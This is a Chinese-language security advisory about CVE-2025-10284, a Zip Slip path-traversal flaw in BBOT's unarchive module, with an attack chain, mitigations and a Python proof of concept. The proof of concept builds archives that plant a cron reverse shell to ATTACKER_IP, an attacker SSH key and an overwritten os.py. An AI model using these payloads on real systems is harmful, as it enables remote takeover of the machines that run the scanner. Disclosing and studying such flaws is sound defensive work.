IPBUF安全漏洞报告
English
CVE-2025-10284 CVSS 9.6 严重

BBOT反归档模块恶意归档文件导致远程代码执行漏洞

披露日期: 2025-10-09

漏洞信息

漏洞编号
CVE-2025-10284
漏洞类型
远程代码执行(路径遍历/任意文件写入)
CVSS评分
9.6 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
BBOT

相关标签

远程代码执行路径遍历Zip Slip任意文件写入BBOTunarchive归档文件安全工具漏洞CVE-2025-10284严重漏洞

漏洞概述

CVE-2025-10284是BBOT(一个开源的自动化侦察与攻击面管理工具)反归档(unarchive)模块中存在的一个高危安全漏洞。该漏洞由Black Lantern Security团队发现并披露,CVSS评分为9.6,属于严重级别。BBOT在处理用户提供的归档文件(如zip、tar等格式)时,其unarchive模块未能充分验证归档条目中的文件路径,攻击者可以通过精心构造包含路径遍历序列(如../)的恶意归档文件,在归档被解压时实现任意文件写入。由于BBOT在执行扫描任务时通常会下载和处理来自互联网的归档文件(例如Git仓库、压缩资源等),攻击者可以将恶意归档文件部署在目标可访问的Web服务器上,当BBOT的unarchive模块自动解压这些归档时,恶意载荷将被写入到系统的关键位置(如启动脚本、crontab、SSH密钥目录等),从而实现远程代码执行。该漏洞的攻击向量为网络(AV:N),无需认证(PR:N),但需要用户交互(UI:R),影响范围涵盖机密性、完整性和可用性三个维度,均为高影响。由于BBOT常被安全研究人员和渗透测试人员用于自动化侦察任务,该漏洞可能在使用BBOT扫描包含恶意归档的目标时被触发,对安全工具使用者构成严重威胁。

技术细节

该漏洞的核心问题在于BBOT的unarchive模块在解压归档文件时,未对归档条目中的文件名进行充分的安全验证和路径规范化处理。具体而言,归档文件(如ZIP格式)中的每个条目都包含一个文件名字段,攻击者可以在该字段中嵌入路径遍历序列(如../../etc/cron.d/malicious或../../root/.ssh/authorized_keys),使得解压工具在解压时将文件写入到归档预期目录之外的位置。这种攻击方式类似于经典的Zip Slip漏洞。攻击利用流程如下:首先,攻击者创建一个包含恶意条目的归档文件(例如ZIP文件),其中某个条目的文件名包含路径遍历序列,内容为攻击者控制的脚本或代码;然后,攻击者将该恶意归档文件部署在可被BBOT扫描到的目标位置(如暴露在互联网上的Git仓库或Web服务器);当安全研究人员使用BBOT对该目标执行扫描任务时,BBOT的unarchive模块会自动下载并解压该归档文件;解压过程中,恶意条目中的路径遍历序列未被过滤,导致攻击者的载荷被写入到系统任意位置;最后,根据写入位置的不同,攻击者可以实现持久化访问(如写入crontab、SSH密钥)或直接执行任意代码(如覆盖可执行文件或库文件)。该漏洞利用简单且影响严重,CVSS评分达到9.6分。

攻击链分析

STEP 1
步骤1:构造恶意归档文件
攻击者创建一个包含路径遍历序列的恶意ZIP或TAR归档文件,归档中包含正常文件以伪装,同时嵌入文件名包含../的恶意条目,内容为攻击载荷(如cron任务、SSH密钥或可执行脚本)。
STEP 2
步骤2:部署恶意归档
攻击者将恶意归档文件部署在可被BBOT扫描到的目标位置,例如暴露在互联网上的Git仓库、Web服务器或FTP服务器,作为攻击面的一部分。
STEP 3
步骤3:触发BBOT扫描
安全研究人员或渗透测试人员使用BBOT对包含恶意归档的目标执行自动化侦察扫描任务,BBOT的unarchive模块自动下载并解压该归档文件。
STEP 4
步骤4:路径遍历利用
BBOT的unarchive模块在解压过程中未对归档条目文件名进行路径规范化或安全过滤,导致恶意条目中的../路径遍历序列生效,攻击载荷被写入到归档预期目录之外的系统任意位置。
STEP 5
步骤5:实现远程代码执行
根据载荷写入位置的不同,攻击者可以实现不同方式的远程代码执行:通过crontab实现定时反弹Shell、通过SSH密钥实现持久化访问、通过覆盖系统库文件实现即时代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-10284 - BBOT unarchive module path traversal PoC # This PoC creates a malicious ZIP archive with path traversal entries # that can achieve arbitrary file write when extracted by BBOT's unarchive module. import zipfile import os import io def create_malicious_archive(output_path, traversal_path, payload_content): """ Create a ZIP archive containing a file with a path traversal filename. When extracted by a vulnerable unarchive module, the payload will be written to the traversal_path location on the target system. """ with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as zf: # Create a normal entry to make the archive look legitimate zf.writestr("README.md", "This is a normal repository archive.") # Create a malicious entry with path traversal in the filename # This will write the payload to an arbitrary location when extracted malicious_filename = traversal_path zf.writestr(malicious_filename, payload_content) print(f"[+] Malicious archive created: {output_path}") print(f"[+] Traversal path: {traversal_path}") def create_cron_payload(): """Create a cron job payload for reverse shell""" return b"* * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'\n" def create_ssh_payload(ssh_key): """Create an SSH authorized_keys payload""" return ssh_key.encode() if isinstance(ssh_key, str) else ssh_key if __name__ == "__main__": # Example 1: Write a cron job for reverse shell create_malicious_archive( output_path="malicious_repo.zip", traversal_path="../../../../etc/cron.d/backdoor", payload_content=create_cron_payload() ) # Example 2: Write SSH authorized_keys for persistent access ssh_public_key = "ssh-rsa AAAA... attacker@evil" create_malicious_archive( output_path="malicious_repo_ssh.zip", traversal_path="../../../../root/.ssh/authorized_keys", payload_content=create_ssh_payload(ssh_public_key) ) # Example 3: Overwrite a Python library for code execution create_malicious_archive( output_path="malicious_lib.zip", traversal_path="../../../../usr/lib/python3/dist-packages/os.py", payload_content=b"import os; os.system('id > /tmp/pwned')\n" ) print("[+] Deploy the archive on a target accessible by BBOT scanner") print("[+] When BBOT's unarchive module processes this archive, RCE is achieved")

影响范围

BBOT < 2.4.1

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)以最低权限的非root用户运行BBOT,限制任意文件写入的影响范围;2)在隔离的容器或虚拟机中运行BBOT,防止恶意归档影响宿主机系统;3)避免使用BBOT扫描来源不可信的第三方目标,特别是包含归档文件的Git仓库或Web服务器;4)使用AppArmor或SELinux等强制访问控制机制限制BBOT的文件写入路径;5)监控BBOT工作目录及系统关键目录(如/etc/cron.d/、~/.ssh/、/usr/lib/等)的异常文件创建活动;6)考虑在BBOT处理归档文件前,使用支持安全解压的工具(如Python的zipfile配合路径验证)进行预处理,过滤包含路径遍历序列的归档条目。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表